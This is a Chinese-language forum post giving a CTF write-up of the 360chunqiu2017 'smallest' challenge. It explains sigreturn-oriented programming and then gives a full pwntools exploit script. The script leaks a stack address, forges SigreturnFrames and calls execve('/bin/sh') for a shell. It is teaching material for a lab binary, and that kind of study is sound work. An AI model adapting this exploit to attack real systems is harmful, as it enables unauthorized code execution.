首页
社区
课程
招聘
[原创]【360chunqiu2017】smallest
2022-4-28 18:48 13110

[原创]【360chunqiu2017】smallest

2022-4-28 18:48
13110

SROP

基于sigreturn的系统调用的rop利用手段

 

signal机制是linux系统下的软中断,大概如下图

 

img

 

主要目的是为了保存进程的信息,以便于恢复。有点类似学习递归的时候教练喊的恢复现场

 

我们利用的主要是3,4过程,即恢复过程

 

以X86为例(因为X64放不下)

 

恢复过程主要是pop一系列的寄存器:

 

img

 

好家伙还挺齐全

 

恢复过程主要是把signalframe上的这些东西pop进去,那如果我们能够伪造,岂不是可以控制寄存器?!美汁汁儿~

 

由于恢复过程没有严格检查,它甚至没有检查这个signalframe(栈上保存进程信息的那段空间)和之前的是不是同一个,所以我们可以伪造signalframe,通过系统调用sigreturn来控制寄存器

题解

保护

img

 

好家伙,《简单题》

 

img

ida

img

 

开局一个read,其它系统调用全靠硬整

思路

我们最后的目的肯定是调用system或者execve的系统调用(因为这题甚至没给libc文件,就只能考虑系统调用了,没开沙箱用orw纯纯的自己找麻烦)

 

那么肯定是需要控制寄存器的,main里连个rdx都没有,所以考虑用sigreturn的系统调用控制寄存器

 

然后还需要知道栈地址,因为需要往sigreturn里面的rdi放'/bin/sh'的地址

 

泄露栈地址就需要write的系统调用,我们发现read的返回值是读入的字节数,那么如果我们可以让它读1个字节,并且返回到”xor rax,rax“的下一位,那么就可以调用write了。巧就巧在这两个可以同时进行,我们直接读两个函数的起始地址,然后第二次send”xor rax,rax“的下一位地址的低字节,正好就可系统调用write了。

 

这题还须通过read字符来系统调用sigreturn,也非常巧,基本上是这样:

 

对于第一次read,send start + ’a‘*8 + fake_sigframe

 

此时rsp的地址是start,read完后会ret start继续下一次read

 

这次read send syscall_ret + 'a'*7,即可完成sigreturn的系统调用

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
##context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
 
##r = remote("chuj.top", 51904)
##proof_of_work(r)
start=0x4000B0
syscall_ret=0x4000be
r=process('./smallest')
 
def z():
    gdb.attach(r)
 
## primary_set
pd=p64(start)*3
r.send(pd)
 
## leak_stack
r.send('\xb3')
r.recv(8)
stack=u64(r.recv(8))
log.success('stack:'+hex(stack))
 
## sigret_syscall_read
sig=SigreturnFrame()
sig.rax = constants.SYS_read
sig.rdi = 0
sig.rsi = stack
sig.rdx = 0x400
sig.rsp = stack
sig.rip = syscall_ret ##link the syscall of read
 
pd=p64(start)+'a'*8+str(sig)
r.send(pd)
pd=p64(syscall_ret)+'a'*7
z()
r.send(pd)
sleep(1000)
 
sig=SigreturnFrame()
sig.rax = constants.SYS_execve
sig.rdi = stack+0x120
sig.rsi = 0
sig.rdx = 0
sig.rsp = stack
sig.rip = syscall_ret ##link the syscall of execve
 
pd=p64(start)+'b'*8+str(sig)
l=len(pd)
pd+=(0x120-l)*'\x00'+'/bin/sh\x00'
r.send(pd)
pd=p64(syscall_ret)+'b'*7
r.send(pd)
 
 
r.interactive()

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2022-5-7 10:18 被Nameless_a编辑 ,原因:
上传的附件:
收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回